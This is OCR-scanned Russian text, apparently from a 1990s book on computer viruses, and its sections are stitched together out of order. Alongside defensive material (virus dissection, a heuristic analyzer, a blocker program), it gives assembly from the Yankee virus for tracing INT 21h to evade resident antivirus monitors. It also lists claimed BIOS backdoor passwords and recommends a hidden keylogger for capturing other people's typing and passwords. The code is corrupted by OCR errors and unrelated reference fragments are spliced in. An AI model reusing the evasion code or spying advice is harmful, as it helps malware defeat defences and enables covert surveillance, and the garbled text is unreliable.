с которого было отправлено сообщение. Указанный домен (flash.net) со-

ответствует адресу вашей жены. Впрочем, ваши друзья могли подделать

и строку masha.flash.net (в Windows 95 это делается через Control

Panel=>Network=>TCP/IP Properties=>DNS Configuration, указав

masha и flash.net в полях Host и Domain соответственно), поэтому важ-

но определить имя, соответствующее данному IP-адресу: 209.30.69.99.

Для определения имени, соответствующего цифровому адресу, можно

воспользоваться одной из доступных программ, например WS-Ping32

(http://www.glasnet.ru/glasweb/rus/wsping32.zip), а лучше CyberKit

(http://www.chip.de/Software/cyber.zip). Набрав цифровой адрес, даем

команду NS LookUp (Name Server Lookup) и смотрим на полученный

результат. Когда имя определено, дальше все просто: если получено что-

либо похожее на рррЗОЗ-flash.net или p28-dialup.flash.net, то сообщение

отправлено вашей женой (или кем-то, имеющим почтовый адрес во

Flashnet, но выяснить это подробнее уже нельзя). Если указано нечто

весьма далекое от flash.net - скорее всего, отправляла сообщение не

ваша жена. Иногда адрес не определяется. В этом случае можно вос-

пользоваться функцией TraceRoute той же программы. Эта функция

поможет проследить путь от вашей машины до указанного IP-адреса.

Если этот адрес (он будет последним в списке узлов, через которые сиг-

нал прошел от вашего компьютера до компьютера с указанным IP-адре-

сом) снова не определяется, то последний из определенных по имени

узлов все-таки укажет на примерное географическое положение компь-

ютера отправителя. Еще более простым и изящным способом определе-

ния страны и даже названия провайдера или сети является использова-

ния вот этого адреса:

http://www.tamos.com/bin/dns.cgi

Итак, в результате получилось что-то вроде Brasilian Global Network.

Ваша жена не бывала последнее время в Бразилии? Нет? Ну, тогда она

от вас и не уходила. Вас разыграли. Будьте бдительны!

Эвристические анализаторы кода


Эвристическим анализатором кода называется набор подпрограмм, ана-
лизирующих код исполняемых файлов, памяти или загрузочных секторов
для обнаружения в нем разных типов компьютерных вирусов. Рассмот-
рим универсальную схему такого кодоанализатора. Действуя в соответ-
ствии с этой схемой, кодоанализатор способен максимально эффективно
задействовать всю информацию, собранную для тестируемого объекта.
Основные термины:
Событие - это совокупность кода или вызов определенной функ-
ции операционной системы, направленные на преобразование сис-
темных данных, работу с файлами или часто используемые вирус-
ные конструкции.
Цепочка связных событий - это набор событий, которые должны
быть выявлены в порядке их следования.
Цепочка несвязных событий - это набор событий, которые должны
быть выявлены, но не обязательно в строгом порядке.
Действия - набор цепочек связных или несвязных событий, для ко-
торых выполнены все условия.
Эвристическая маска - набор действий, выявленных при проверке
файла.
Эвристическое число - порядковый номер первой из совпавших эв-
ристических масок.
События распознаются при помощи подпрограмм выявления событий,
в которых могут использоваться также таблицы с данными. Остальные
данные просто хранятся в массивах и не анализируются. Рассмотрим
функциональную схему эвристического анализатора (рис. 6.1.).
Эмулятор кода работает в режиме просмотра, то есть его основная зада-
ча - не эмулировать код, а выявлять в нем всевозможные события. Со-
бытия сохраняются в таблице событий по алгоритму:
if (Events[EventNumber]==0) Events[EventNumber]=++CountEvents;
где: Events - массив событий;
EventNumber - номер регистрируемого события;
CountEvents - порядковый номер зарегистрированного события.
Эвристические анализаторы кода
Таким образом, в ячейку массива Events записывается порядковый но-
мер для выявленного события. CountEvents при инициализации равен 0.
После того, как эмулятор завершит свою работу, последовательно запус-
каются два преобразователя. Первый преобразователь заполняет массив

действия, выбирая данные из массива событий и цепочек связных

и несвязных событий по следующему алгоритму:

for(i=0;i
if (MaskEvents[i][0]==0) {

for(j=2;j
if(Events[MaskEvents[i][j]]==0) goto nextMask;

"

else

for(e=0,j=2;j
if(Events[MaskEvents[i][j]]==0 II Events[MaskEvents[i][j]]
goto nextMask;

else e=Events[MaskEvents[i][j]];

}

Actions[i]=1;

nextMask:;

}

где: CountMaskEvents - число масок цепочек событий;

MaskEvents - двумерный массив цепочек связных и несвязных

событий;

Actions - массив действия.

Затем выполняется второй преобразователь, который выбирает дан-

ные из массива действия и цепочек эвристических масок и вычис-

ляет эвристическое число по следующему алгоритму:

for(i=0;i
for(j=1;j
if(Actions[MaskHeurist[i][j]]==0) goto nextMaskI;

NumberHeurist=i+1;

break;

nextMaskI:

}

где: CountMaskHeurist - число эвристических масок;

MaskHeurist - двумерный массив с эвристическими масками;

NumberHeurist - эвристическое число.

К вопросу о CMOS SETUP


Вот еще один наглядный пример лазеек для спецслужб. Почти любой
компьютер имеет возможность установить пароль на вход. Но мало кто
знает, что специально для спецслужб (разработчиками BIOS) были со-
зданы универсальные пароли, открывающие вход в любой компьютер.
Вот примеры:
- AWARD BIOS: AWARD_SW, Ikwpeter, Wodj, aPAf, j262, Sxyz,
ZJAAADC
- AMI BIOS: AMI, SER, Ctrl+Alt+Del+Ins (держать при загрузке,
иногда просто INS)
Естественно, что вводить пароль нужно в соответствии с регистром букв.

Как исследовать алгоритм работы вируса


Ситуация, когда компьютер оказался заражен неизвестным вирусом,
встречается не очень часто, но полностью сбрасывать со счетов такую
возможность нельзя. Выше рассматривались способы обнаружения ви-
руса и выделения его в чистом виде. Сейчас переходим к исследованию
алгоритма работы файловых вирусов для успешной борьбы с ними.
1. Прежде чем перейти к рассмотрению этого вопроса, вспомним неко-
торые принципы функционирования MS DOS.
Структура СОМ- и ЕХЕ-программ. Вообще говоря, следует отли-
чать СОМ- и ЕХЕ-программы от СОМ- и ЕХЕ-файлов. Дело в том,
что в настоящее время расширение СОМ или ЕХЕ является просто
признаком (кстати, необязательным) запускаемой программы. Спо-
соб загрузки программы в память и ее запуска определяется опера-
ционной системой по внутреннему формату программы. Этот факт
часто не учитывали авторы первых вирусов, что приводило к унич-
тожению некоторых программ вместо их заражения.
СОМ-программа представляет собой часть кода и данных, которая
начинается с исполняемой команды и занимает не более 64Кбайт.
Например, такую структуру имеет командный процессор
COMMAND.СОМ операционной системы MSDOS до версии 6.22
включительно.
Структура ЕХЕ-программы гораздо сложнее. В начале файла
ЕХЕ-программы располагается заголовок (см. приложение). Поля
ReloCS и ExelP определяют расположение точки входа в программу,
поля ExeSP и ReloSS - расположение стека, поля PartPag
и PageCnt - размер корневого сегмента программы. Размер некоторых
6-1436
программ, вычисленный по полям PartPag и PageCnt, может не со-
впадать с реальным размером файла. Такие программы называются
"сегментированными" или "содержащими внутренние оверлеи".
Опытные авторы вирусов избегают заражать такие программы. Пос-
ле заголовка может размещаться специальная таблица, точное место
расположения которой определяется полем TablOff, а размер - по-
лем ReloCnt. В этой таблице хранятся адреса тех слов в коде про-
граммы, которые модифицируются операционной системой во время

загрузки программы. Например, просматривая файл программы при

помощи утилиты HackerView, можно видеть команду call

0000:1234h. В процессе загрузки программы MS-DOS подставит вме-

сто нулей нужный сегментный адрес, и все будет работать коррект-

но. Кстати, если в поле TablOff указано число 40h или больше,

то, скорее всего, это программа в формате Windows. Подобный

формат имеет, например, командный процессор Windows 95

COMMAND.COM. Несмотря на свое расширение, он имеет в нача-

ле знаменитые символы "MZ" и длину 95Кбайт.

2. Приступаем к исследованию конкретного файлового вируса и разра-

ботке алгоритма его лечения. В качестве жертвы "показательного

вскрытия" возьмем широко известный в начале 90-х годов вирус

SVC-1740. Выбор определился следующими обстоятельствами:

- это очень простой вирус с четкой структурой;

- он не содержит деструктивных функций;

- не содержит грубых ошибок в алгоритме;

- он стандартно заражает СОМ- и ЕХЕ-программы.

Запустив SVC вирус на своей машине, можно наблюдать следую-

щие его проявления.

а) В MS-DOS успели заразиться файлы ARCVIEW.EXE,

HIEW.EXE и LEX.EXE. В результате HackerView, проверяющий

целостность своего кода, отказался работать, сообщив: "HIEW

bad, work is aborted".

6) Windows 3.11 и Windows 95 сначала запустились корректно, но

затем продемонстрировали разноцветные горизонтальные полосы

в видеорежиме 800х600х256 (вирус не заражал какие-либо драй-

вера, просто в момент старта Windows в памяти находился ви-

русный обработчик прерывания INT 21h).

Излечение пришло после использования антивирусов:

DrWeb с: /сир /а1

и

AidsTest с: /f /g /q

3. При помощи ранее описанных методов заразим две приманки:

TEST.COM и TEST.EXE. Увеличение их длины на 1740 байт мож-

но увидеть только на "чистой" машине (Stealth-эффект). Несколь-

ко слов об инструментарии. Вообще говоря, выбор дизассемблеров

весьма широк. В свое время была широко известна программа

DisDoc. По признанию Е. Касперского, он активно пользуется инте-

рактивным дизассемблером IDA. Быстро просмотреть код програм-

мы позволяет утилита HackerView. Также возможно использование

любого отладчика. В данном случае для изучения кода зараженных

приманок использовался дизассемблер Sourcer v5.04. Несмотря на

отсутствие некоторых полезных опций и ошибки при дизассембли-

ровании (достаточно редкие), пользоваться программой удобно -

упакованная PkLite, она занимает на дискете всего 48Кбайт.

Итак, запускаем дизассемблер командой sr test-сом. На экране появи-

лась темно-синяя лицевая страница. Нажав клавишу "а", можно пе-

рейти на страницу опций. Рекомендуется установить опцию "а" -

обязательно дизассемблировать фрагмент программы, располагаю-

щийся после команд jmp/ret/iret - это позволяет получить ассемб-

лерный код тех фрагментов программ, в которые нет явного перехо-

да (процедуры обработки прерываний, скрытые подпрограммы и так

далее). Нажав Enter, вернемся на первую страницу. Запустим процесс

дизассемблирования нажатием клавиши "g". В зависимости от про-

изводительности компьютера, процесс дизассемблирования длится от

нескольких секунд до нескольких минут. Для грубой оценки размера

листинга можно принять, что один килобайт кода соответствует деся-

ти-пятнадцати килобайтам текста. 6740 байт зараженной приманки

дают 96Кбайт текста+файл test.sdf. Этот очень интересный файл хра-

нит в текстовом виде как опции, использованные при дизассемблиро-

вании, так и параметры полученного текста (размещение фрагментов

кода и данных, место расположения символических имен и прочее).

Если изменить эти параметры, переименовать файл в test.def и пере-

дать его Sourcer в командной строке в качестве параметра, то дизас-

семблер будет работать в соответствии с новыми инструкциями. Ана-

логичную операцию проделаем для файла testexe.

б*

4. Займемся анализом полученного листинга. Поверхностно изучая за-

раженные приманки, видим:

- файлы увеличили свою длину на 1740 байт;

- в их конце явно видны посторонние коды;


- изменилось время создания файлов, точнее, изменилось количе-

ство секунд - оно стало равным 60;

- в начале файла test.coM появилась команда jmp;

- в заголовке файла test.exe изменились значения полей ReloCS,

ExelP, ExeSP, ReloSS, PartPag и PageCnt.

Итак.

а) В начале вирусного кода содержится последовательность команд

вида:

call sub_1

sub_1: pop si

sub si,3

Подобная последовательность символов характерна для очень мно-

гих вирусов. Команда call помещает в стек смещение следующей за

ней команды. Это значение извлекается вирусом при помощи ко-

манды pop si (в то время как обычно это делается командой ret)

и помещается в регистр si. Скорректировав эту величину на длину

команды call (3 байта), вирус получает возможность корректного

обращения к ячейкам памяти относительно кодового сегмента:

mov cs:Data[si], xxxx.

Не случайно DrWeb всегда реагирует на подобные команды в на-

чале программ, выдавая предупреждающее сообщение. Впрочем,

это не является обязательным признаком присутствия вируса. На-

пример, устаревшая пристыковочная защита от несанкционирован-

ного копирования (НСК) "Nota" также пользуется этим приемом.

б) Важным элементом алгоритма вируса является определение на-

личия собственного резидента в ОЗУ. Вызывая прерывание DOS

с "секретной" функцией 83h, вирус ждет реакции системы. "Здо-

ровая" система не среагирует на провокацию, а "больная" поме-

стит в регистр dx число 1990h (год создания вируса?), чем и из-

вестит о наличии вируса в памяти. Вот соответствующий

фрагмент вирусного обработчика прерывания INT 21h:

cmp ah,83h

je loc_9

loc_9:

mov dx,1990h

iret

Наличие такой проверки использует антивирус-фаг во время детекти-

рования вирусного кода в оперативной памяти. Также антивирус-бло-

кировщик может имитировать присутствие вируса в памяти, предот-

вращая его внедрение в программное обеспечение компьютера.

в) В случае отсутствия вирусного обработчика INT 21h в памяти,

вирус пытается установить его и остаться в памяти резидентно.

Алгоритм резидентной записи кода вируса в память основан

на прямой модификации заголовка блока памяти (МСВ). Под-

робное описание этого алгоритма и методов борьбы с вирусами,

использующими подобный метод инсталляции, можно найти

в одном из номеров журнала "Монитор" за 1993 г.

г) Установив свою резидентную копию в ОЗУ (или обнаружив на-

личие такой копии), вирус передает управление оригинальной

программе. Изучение этого момента чрезвычайно важно для ана-

лиза. В процессе заражения (данный фрагмент из листинга уда-

лен) вирус считывает (в data_15) 24 байта начала программы

и анализирует первые два байта из них. В зависимости от содер-

жимого первого слова ("MZ" или нет), вирус выполняет зараже-

ние жертвы либо по СОМ-, либо по ЕХЕ-алгоритму, дописывая

фрагмент памяти со своим кодом к ее концу. Естественно, счи-

танные 24 байта также дописываются в файл-жертву. Поэтому

для определения способа передачи управления оригинальному

коду программы вполне достаточно повторно сравнить сохранен-

ный фрагмент начала с признаком "MZ":

cmp cs:data_15[si],5A4Dh

je lt_Was_EXE

В случае если программа была заражена по СОМ-алгоритму, вирус

просто извлекает первые 3 байта из ячейки памяти по адресу

data_15, копирует их в старое начало оригинального кода (по адре-

су cs:100h) и передает туда управление. Адресу data_15 соответ-

ствует 80-ый (если считать от конца) байт зараженной программы.

В случае если программа была заражена по ЕХЕ-алгоритму, вирус

вычисляет старую точку входа по сохраненным в data_20 и data_21

значениям полей ReloCS и ExelP, восстанавливает расположение

стека по сохраненным в data_18 и data_19 значениям полей ReloSS

и ExeSP и передает управление на ReloCS+ES+10h:ExeIP (ES -

сегмент PSP; ES+lOh - сегмент начала программы; ES+ReloCS+

10h - полный сегмент точки входа). Расположение этих адресов

в зараженном файле (от конца файла):

data_20 - 60

data_21 - 58

data_18 - 66

data_19 - 64

Еще могут пригодиться сохраненные значения полей PartPag

и PageCnt (от конца файла):

data_16+1 - 78

data_16+3 - 76

Для излечения зараженного файла достаточно восстановить изме-

ненные значения ячеек, адреса которых только что вычислили,

и отсечь 1740 вирусных байт от конца файла.

5. Еще несколько особенностей, с которыми иногда можно встретить-

ся при дизассемблировании кода вируса и изучении листинга. Код

вируса может быть зашифрован. В этом случае в начале вирусного

кода должен располагаться расшифровщик. Вообще говоря, рас-

шифровщиков может быть много, но первый всегда существует.

Если расшифровщик меняется от одного зараженного файла к дру-

гому, значит имеем дело с полиморфным вирусом. Вырожденный

случай - зашифровываются только сохраненные в теле вируса бай-

ты. Для СОМ-файла вполне достаточно пошагово пройти расшиф-

ровщик в отладчике, дождаться его завершения и сохранить на вин-

честер расшифрованный код вируса. Полученный файл можно

дизассемблировать. Для ЕХЕ-файла такое не подходит, так как в

памяти после загрузки отсутствует заголовок, и полученный файл

не может быть дизассемблирован именно как ЕХЕ. Вероятно, при-

дется писать специальную программу расшифровки на основе изу-

ченного по листингу алгоритма расшифровщика.

Расшифровщик может быть совмещен с алгоритмами, противодей-

ствующими трассировке кода вируса с использованием отладчиков.

Ознакомиться с ними можно в специальной литературе, посвящен-

ной борьбе с НСК. Авторы вирусов, как правило, редко изобретают

что-то новое и используют широко известные методы.

Классификация ЕХЕ-вирусов


ЕХЕ-вирусы условно можно разделить на группы, используя в качестве
признака для деления особенности алгоритма.

Клавиатурные шпионы


Клавиатурные шпионы - это программы, запоминающие, какие клави-
ши были нажаты в ваше отсутствие, то есть - что творилось на вашем
компьютере, пока вас не было в офисе. Для этого все, что набирается
на клавиатуре, заносится специальной программой в текстовый файл.
Так что набранный на компьютере в бизнес-центре или интернет-кафе
текст может без особых проблем стать достоянием владельца такого
компьютера. Технически эта операция выполняется классом программ,
называемых keyboard loggers. Они разработаны для разных операцион-
ных систем, могут автоматически загружаться при включении компью-
тера и маскируются под резидентные антивирусы или еще что-нибудь
полезное.
Самая лучшая из опробованных программ, Hook Dump 2.5
(http://www.geocities.com/SiliconValley/Vista/6001/hookdump.zip
или
http://www.halyava.ru/ilya/, для Win 3.1 и Win 95) может автомати-
чески загружаться при включении компьютера, при этом никак не
проявляя своего присутствия. Набранный на клавиатуре текст, назва-
ния программ, в которых набирался текст, и даже скрытый пароль в
Dial-Up Networking, который вообще не набирался - все записывает-
ся в файл, расположенный в любой директории и под любым именем.
Программа имеет много настроек, позволяющих определять нужную
конфигурацию.

Командой IRET


Вход:
AX=0302h
ВЫ - флаги:
бит 0 - сбросить контроллер прерывания и адресную линию А20
биты 1-7 - зарезервированы и должны быть равны нулю
СХ - количество слов, которые надо скопировать из стека защищенно-
го режима в стек реального
ES:(E)DI - селекторхмещение структуры вызова реального режима
(формат структуры вызова реального режима описан в функции ОЗООЬ)
Выход:
CF=0, если функция выполнена успешно
ES:(E)DI - селекторхмещение модифицированной структуры вызо-
ва реального режима
СЕ=1, если при выполнении функции возникли ошибки
Описание.
Данная функция вызывает процедуру реального режима, заканчиваю-
щуюся командой IRET.
Примечания.
Адрес процедуры должен быть указан в структуре вызова реального ре-
жима. Процедура должна завершать выполнение командой IRET. Если
поля SS и SP равны нулю, то стек выделяется DPMI. 32-битные про-
граммы должны использовать ES:EDI для адресации структуры.

Командой RET FAR


Вход:
AX=0301h
ВН - флаги:
бит 0 - сбросить контроллер прерывания и адресную линию А20
биты 1-7 - зарезервированы и должны быть равны нулю
СХ - количество слов, которые надо скопировать из стека защищенно-
го режима в стек реального
ES:(E)DI - селекторхмещение структуры вызова реального режима
(формат структуры вызова реального режима описан в функции ОЗООЬ)
Выход:
СЕ=0, если функция выполнена успешно
ES:(E)DI - селекторхмещение модифицированной структуры вызо-
ва реального режима
СЕ=1, если при выполнении функции возникли ошибки
Описание.
Данная функция вызывает процедуру реального режима, заканчиваю-
щуюся командой RET FAR.
Примечания.
Адрес процедуры должен быть указан в структуре вызова реального ре-
жима. Процедура должна завершать выполнение командой RET FAR.
Если поля SS и SP равны нулю, то стек выделяется DPMI. 32-битные
программы должны использовать ES:EDI для адресации структуры.

Конструирование неотслеживаемого обращения к DOS


Для чего нужно такое конструирование? Неужели антивирусные мони-
торы настолько бдительны, что пресекают любые попытки открыть для
модификации ЕХЕ- или СОМ-файл? Да, это действительно так. Авто-
ры антивирусных мониторов обладают достаточно эффективными сред-
ствами, чтобы предотвратить прямые обращения к DOS со стороны ви-
русов.
Обратимся к мнению Ю. Косивцова: "Для обнаружения действия нере-
зидентных вирусов необходимо контролировать вызов функций DOS
с номерами: 3Dh (открытие файла через описатель), OFh (открытие
файла через FCB и 5Dh) и подфункцию OOh (косвенный вызов DOS).
Если при открытии файла обнаружено, что расширение его СОМ, ЕХЕ
или SYS, то можно выдавать предупреждающее сообщение".
Список выглядит слишком коротким. Действительно, а что произойдет,
если сначала переименовать программный файл? И почему не учтена
функция 6Ch (расширенное открытие файла)? А что будет, если от-
крыть файл для чтения, а затем изменить режим доступа прямым обра-
щением к SFT?
Конечно же, авторы антивирусных мониторов не столь наивны. Просто
они никогда не раскрывают свои профессиональные секреты. Например,
авторы программы AVPTSR реально учли и использовали все эти мето-
дики и тонкости.
Итак, предположим, что гипотетический антивирусный супермонитор:
- отслеживает и блокирует попытки трассировки 21-го прерывания;
- для контроля "опасных" функций DOS встраивается в начало обра-
ботчика прерывания INT 21h;
- для предотвращения прямого обращения к DOS использует флаг,
сбрасываемый либо во вставленном фрагменте, либо в обработчике
прерывания 2Ah (более грамотный подход).
Эти действия монитора порождают соответствующие проблемы при
конструировании неотслеживаемого обращения к DOS.
Первая проблема достаточно просто решается с использованием "мето-
да предопределенных адресов".
Для решения второй проблемы стоит проанализировать возможное
расположение в обработчике DOS точки перехода на антивирусный
монитор. Очевидно, это может быть точка 0 либо точка 1.
В самом

худшем случае можно допустить, что врезка происходит непосред-

ственно после команды проверки на максимальное значение номера

функции. Далее обработчик DOS "растекается" на многочисленные

ручейки, поэтому отследить их все крайне затруднительно. По край-

ней мере, обработчики функций OFh, 3Dh и 5Fh попадают в разные

ручейки. Однако, при использовании ограниченного набора функций

они могут разместиться и в одном ручейке, что намного упростит ре-

шение данной задачи. Функции 3Ch-43h, отвечающие за создание, от-

крытие, закрытие, чтение, запись, атрибуты и перемещение, действи-

тельно располагаются в одном общем ручейке. Это позволяет

использовать адрес точки 2 для прямого обращения к DOS. Монито-

ры, скорее всего, не будут отслеживать эту точку.

Решение третьей проблемы также не вызовет особых затруднений.

Один из вариантов - замаскировать прерывания таймера и изменить

вектор 8-го прерывания перед прямым обращением к DOS. Вместо из-

менения вектора можно попробовать вставить инструкции IRET в нача-

ло текущего (антивирусного) обработчика. При использовании все того

же метода "предопределенных адресов" и, зная позицию инструкции

INT 2Ah в обработчике DOS, перед прямым обращением к DOS следу-

ет просто заменить этот вызов двумя командами NOP.

Листинг программы, блокирующей распространение вируса SVC-1740:

;; Резидентный блокировщик вируса SVC-1740
;; (с) К. Климентьев, Самара 1997
cseg segment
assume cs:cseg, ds:cseg, ss:cseg
org 100h
Переходим к инициализации программы
Start:
jmp Install
;0бработчик прерывания INT 21 h .
lnt21:
[Проверим номер функции, если 83h -
;то это запрос присутствия вируса
cmp ah, 83h
jnz Skip21
;0тветим, что вирус присутствует
mov dx, 1990h
;3апускаем оригинальный обработчик прерывания
Skip21:
db OEAh ;Код команды JMP
Ofs21 dw ?
Seg21 dw ?
Инициализируем программу
Install:
.Проверим, не инсталлирована ли уже эта программа. Если
инсталлирована, выведем сообщение об этом и выйдем из программы.
;Вторую копию программы инсталлировать не имеет смысла
mov ah,83h
int 21 h
cmp dx, 1990h
jz Already
.Считаем оригинальный вектор прерывания INT 21 h
mov ax,3521h
int 21h
mov Ofs21, bx
mov Seg21, es
.Установим наш вектор прерывания INT 21h
mov ax, 2521h
mov dx.offset lnt21
int 21h
[Выведем сообщение об успешной инсталляции программы в памяти
mov ah, 9
mov dx, offset OkMes
int 21h
.Выйдем из программы, оставив обработчик резидентным
mov dx, offset Install
int 27h
;Выведем сообщение о том, что вирус
;или наша программа уже в памяти
Already:
mov ah, 9
mov dx, offset BadMes
int 21 h
ret
.Сообщения программы
OkMes db "Yeah! STOPSVC installed now!",13,10
db "(c) KostyaSoft, Samara 1997$"
BadMes db 7, "Perhaps, virus is in memory already. Sorry $"
cseg ends

МАКРО-ВИРУСЫ

В этой главе рассказано
о макровирусах. Подробно опи-
сана процедура и методы за-
ражения файлов. Представлен
исходный текст макровируса
с подробными комментария-
ми. Приведены основные
сведения о языке VBA, его про-
цедурах, функциях, стандарт-
ных конструкциях.
Как известно, в последнее время большое распространение получили
макро-вирусы. По сведениям из различных источников, на эти вирусы
приходится от 70 до 80 процентов заражений. Изложенный ниже мате-
риал поможет разобраться в вирусах этого типа.

МАСКИРОВКА ВИРУСОВ

В этой главе рассказано, как
может быть спрятан вирус.
Описаны методы конструи-
рования прямого обращения
к DOS для "обмана" резиден-
тных антивирусных монито-
ров. Рассмотрены вирусы,
заражающие Flash BIOS. Пред-
ставлены исходные тексты
программ с подробными ком-
ментариями.

Метод предопределенньш адресов


Переходим к методу определения оригинального адреса точки входа
в DOS, основанному на том, что эти адреса для разных версий и конфи-
гураций DOS имеют в общем случае различные значения, но число
их ограничено. А это значит, что их можно просто-напросто выбирать
из таблицы (причем не очень большой). Прием не новый, но незаслу-
женно забытый.
Имея программу, основанную на одном из ранее описанных способов
определения реального адреса обработчика DOS, загрузочные дискеты
с разными версиями DOS и немного терпения, можно получить при-
мерно вот такую информацию.
Оригинальный обработчик DOS версии 3.30 всегда имеет вид:
.Точка О
2Е CS:
891ЕВ800 MOV [ООВ8],ВХ
2Е CS:
8С06ВАОО MOV [OOBA],ES
СВ RETF
.Точка 1
2Е CS:
3A26FFOD СМР AH,[ODFF]
77DC JA 1443
80FC51 СМР АН,51
74А1 JZ 140D
80FC64 СМР АН,64
74ВА JZ 143A
;Точка 2
Оригинальные обработчики DOS версий 5.0-7.0 очень похожи.
В общем случае они состоят из следующих фрагментов:
Фрагмент 1 (если он присутствует) всегда располагается в нижних ад-
ресах памяти. Большинство алгоритмов трассировки заканчивают рабо-
ту, достигнув этой точки. Для DOS версий 5.0-6.22 этот фрагмент при-
сутствует, если в CONFIG.SYS есть строка DOS=HIGH (вне
зависимости от того, осуществляется ли запуск поддерживающего эту
опцию драйвера HIMEM.SYS). Если драйвера нет, то JMP FAR просто
указывает на фрагмент 2, размещающийся в нижних областях памяти.
Если строки DOS=HIGH нет, то фрагмент 1 вырожден (состоит из од-
ной команды внутрисегментного перехода), и обработчик состоит
из фрагмента 2.
;Точка О
90 МОР
90 NOP
E8CCOO CALL CheckA20
2E CS:
FF2E6A10J MP FAR NEXTDOS
Фрагмент 2 может располагаться как в верхних, так и в нижних адре-
сах памяти.
;Точка 1
NEXTDOS:
FA CLI
80FC6C СМР АН.6С
77D2 JA 40DO
80FC50 СМР АН.50
748Е JZ 40A9
;Точка 2
Для DOS 7.0 структура обработчика, в общем, такая же. Исключение -
фрагмент 1 присутствует всегда, вне зависимости от содержимого фай-
ла CONFIG.SYS. Теперь приведем конкретные значения адресов, полу-
ченные для разных случаев:

Метод трассировки

Чаще всего используется метод трассировки при помощи отладочного
прерывания INT 1. Суть метода заключается в том, что вирус трассиру-
ет прерывание INT 21h (включает флаг трассировки, при этом после
каждой команды происходит прерывание INT 1) и проверяет значение
сегмента, в котором идет обработка прерывания. Если значение сегмен-
та меньше ОЗООЬ, то это обработчик DOS. Например, так поступал мно-
го лет назад вирус Yankee 2C (М2С, Музыкальный). Вот листинг соот-
ветствующего фрагмента с комментариями:
;Берем из таблицы векторов прерываний текущий адрес INT 01 h
mov ax,3501 h
int 21h
mov si.bx ;смещение сохраняем в регистре SI
mov di.es ;сегмент сохраняем в регистре DI
Останавливаем свой обработчик INT 01h
mov ax,2501h
mov dx,offset lnt01
int 21h
;Формируем в стеке адрес выхода из трассировки так, чтобы по IRET
;из INT 21h попасть на метку Next - помещаем в стек
.последовательно флаги, сегмент и смещение метки Next
pushf
push cs
mov ax,offset Next
push ax
;Начинаем трассировку INT 21 h. Для этого нужно подготовить стек
;следующим образом: поместить в него флаги с включенным флагом
;трассировки, а также сегмент и смещение текущего обработчика
;INT 21 h. Затем можно выполнить команду IRET - программа запустит
.текущий обработчик и считает из стека флаги (флаг трассировки
;во флаговом регистре включится, начнется трассировка. После
.каждой команды процессора будет запускаться INT 01 h).
;Помещаем в стек флаги, включаем в них бит, соответствующий
;флагу трассировки TF. Для того, чтобы включить флаг
.трассировки TF, после сохранения флагов в стеке считаем их
;в регистр АХ, в нем включим соответствующий бит, а затем
.сохраним регистр АХ в стеке
pushf
pop ax
or ax,0100h
push ax
;Считаем из таблицы векторов прерываний текущий адрес INT 21 h
mov ax,3521 h
int 21 h
[Сохраним в стеке сегмент, а затем и смещение текущего обработчика
push es
push bx
[Установим в регистре АН номер какой-либо безобидной функции
;(чтобы определение адреса обработчика DOS

;не сопровождалось разрушениями)

mov ah.OBh

.Запускаем трассировку

cli

iret

[Обработчик INT 01 h

lnt01:

;При вызове обработчика в стеке находятся: значение регистра IP,

;значение регистра CS, флаги перед прерыванием.

[Адресуемся к стеку с помощью регистра ВР,

[Предварительно сохранив текущее значение ВР

push bp

mov bp.sp

;Теперь в стеке находятся:

;SS:[BP] - ВР

;SS:[BP+2] - IP

;SS:[BP+4] - CS

;SS:[BP+6] - флаги

; Проверяем флаг продолжения

cmp byte ptr cs:ContinueFlag,1

;Если флаг продолжения выключен, то выходим из трассировки

jne TraceOff

[Проверяем текущий адрес. Если сегмент меньше 300h,

обработчик DOS достигнут, иначе - продолжаем трассировку

;и выходим из обработчика

cmp word ptr [bp+4],300h

jnc ExitFromInt

[Достигнут DOS - берем из стека адрес обработчика и сохраняем его

push bx

mov bx,[bp+2]

mov word ptr cs:021,bx

mov bx,[bp+4]

mov word ptr cs:S21,bx

pop bx

.Заканчиваем обработку прерывания и дальнейшую трассировку

TraceOff:

[Устанавливаем в ноль бит, соответствующий TF,

;в копии регистра флагов в стеке

and word ptr [bp+6],OFEFFh

[Устанавливаем в ноль флаг продолжения

mov byte ptr cs:ContinueFlag,0

ExitFromInt:

pop bp

.Выходим из обработчика

i ret

[Восстановление после трассировки

Next:

[Сбрасываем флаг продолжения

mov byte ptr ds:ContinueFlag,0

[Восстанавливаем прежнее значение вектора прерывания INT 01 h

mov ax,2501 h

mov dx.si

mov ds.di

int 21 h

В настоящее время этот алгоритм можно считать несколько устарев-

шим. Дело в том, что современные версии DOS могут размещать свой

обработчик в областях верхней памяти. Поэтому условие окончания

трассировки должно выглядеть, например, так:

cmp word ptr [bp+4],300h

jb loc_65

cmp word ptr [bp+4],OFOOOh

ja loc_65

В качестве альтернативного варианта можно использовать такой прием.

Сначала определяется исходный сегмент DOS при помощи недокумен-

тированной функции 52h прерывания INT 21h (возвращает адрес век-

торной таблицы связи DOS):

mov ah, 52h

int 21h


mov SegDOS, es

Тогда условие завершения трассировки можно оформить следующим

образом:

push ax

mov ax, cs: SegDOS

cmp word ptr [bp+6], ax

pop ax

jz DOSIsGot

Разумеется, разные приемы могут дать разные результаты. Причем все

результаты можно считать в той или иной мере корректными. Дело

в том, что современные версии DOS, даже будучи загруженными в верх-

нюю память, всегда имеют точку входа в нижней памяти вида:

пор

пор

[Проверка состояния адресной линии А20

call Check_A20

[Переход в верхнюю память

jmp cs: dword ptr HI_DOS

С точки зрения обхода резидентных мониторов "правильным" следует

признать адрес в обработчике DOS, имеющий максимальное значение.

Мы еще вернемся к вопросу о нахождении "правильного" адреса далее.

Авторы антивирусных мониторов знают о подобном приеме поиска ори-

гинального адреса DOS. Достаточно легко испортит трассировку, на-

пример, вот такой вот фрагмент, встроенный в цепочку обработчиков:

.Вызываем обработчик прерывания INT 60h (до этого момента

[Прерывание INT 60h должно быть перехвачено)

int 60h

;Сюда нужно вернуться из прерывания

пор

[Сюда реально вернемся, и флаг трассировки будет сброшен,

;то есть трассировка будет прекращена

пор

[Обработчик прерывания. При вызове прерывания флаг трассировки

.сбрасывается - при входе в обработчик трассировка будет выключена

lnt60:

[Разрешение прерываний, так как при выходе из обработчика не

[будет восстанавливаться оригинальное значение регистра флагов

sti

[Увеличиваем на единицу адрес возврата в стеке

push bp

mov bp, sp

add [bp+2],1

pop bp

[Выходим из прерывания, но не командой IRET, а командой RETF 2,

.чтобы не восстанавливать флаги (и, как следствие,

.флаг трассировки TF)

retf 2

Кроме того, факт трассировки можно достаточно просто обнаружить,

применив хорошо известный разработчикам защит от несанкционирован-

ного копирования прием аппаратного конвейера, который использует

процессор для ускорения работы. При выполнении очередной команды

